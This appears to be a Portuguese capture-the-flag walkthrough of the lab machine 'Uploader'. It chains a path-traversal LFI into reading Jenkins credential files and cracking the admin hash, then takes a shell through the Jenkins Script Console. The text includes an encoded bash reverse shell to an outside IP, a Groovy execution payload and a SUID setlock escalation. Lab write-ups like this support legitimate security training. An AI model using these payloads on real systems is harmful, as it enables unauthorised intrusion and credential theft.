Published on

Uploader Writeup

Authors
logo

Plataforma: Hacking Club

Dificuldade: Easy

Nome: Uploader


Port Scanning

nmap -sV -sC -p- -v $IP --open

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a8:1f:3c:4b:d9:ee:93:28:2d:a3:b8:9f:f0:cf:17:37 (ECDSA)
|_  256 ac:e2:d9:11:33:bc:69:81:23:8a:35:ed:91:20:14:c8 (ED25519)
80/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET POST
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: Index
|_http-server-header: Apache/2.4.52 (Ubuntu)
8080/tcp open  http    Jetty 10.0.18
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
|_http-server-header: Jetty(10.0.18)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Somente as porta 80, 8080 e 22 estão abertas


Enumeration

http://172.16.10.47:80

Uma aplicação de upload de imagens

uploader

http://172.16.10.47:8080

Aplicação rodando um Jenkins

Tentei algumas credenciais default, mas não obtive sucesso.

uploader 1

Voltando ao servidor web na porta 80

Tentei utilizar a funcionalidade pra subir uma web-shell em php, mas não obtive sucesso, a aplicação está validando.

uploader 2

Então, capturei a requisição com o Burp e comecei a testar por LFI.

....//....//....//....//....//....//etc/passwd

uploader 3

LFI Encontrado!

Tentei escalar o LFI pra RCE utilizando log poisoning, mas não obtive sucesso 😞.

Como a aplicação rodando na porta 8080 se trata de um Jenkins, vamos utilizar o LFI pra ler os arquivos de configuração do servidor.

/var/lib/jenkins/users/users.xml

uploader 4

De acordo com o arquivo users.xml , existe um outro diretório chamado admin_10281833997561721098 . Dentro desse diretório, conseguimos acessar o arquivo de configuração do Jenkins.

/var/lib/jenkins/users/admin_10281833997561721098/config.xml

uploader 5

Com o hash em mãos, vamos utilizar o hashcat pra tentar quebrar.

hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

uploader 6

Com as credenciais admin:ginger1 conseguimos logar no Jenkins

uploader 7

Foot Hold

O jenkins possui uma funcionalidade chamada ‘Script Console’, que podemos abusar pra rodar uma reverse-shell utilizando Groovy Script.

http://172.16.10.47:8080/manage/script

uploader 8

Nesse caso, a aplicação por alguma razão não executa a rev-shell, a alternativa foi encodar a payload em base64 para funcionar.

echo "bash -c 'exec bash -i &>/dev/tcp/10.0.31.150/1337 <&1'" | base64

uploader 9

Agora só enviar e pegar a shell.

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMC4zMS4xNTAvMTMzNyA8JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
uploader 10
uploader 11

Privillege Escalation

SUID setlock

find / -type f -perm -04000 -ls 2>/dev/null

uploader 12

/usr/bin/setlock - /bin/sh -p

uploader 13

Referencia

https://gtfobins.github.io/gtfobins/setlock/#suid


Proof

uploader 14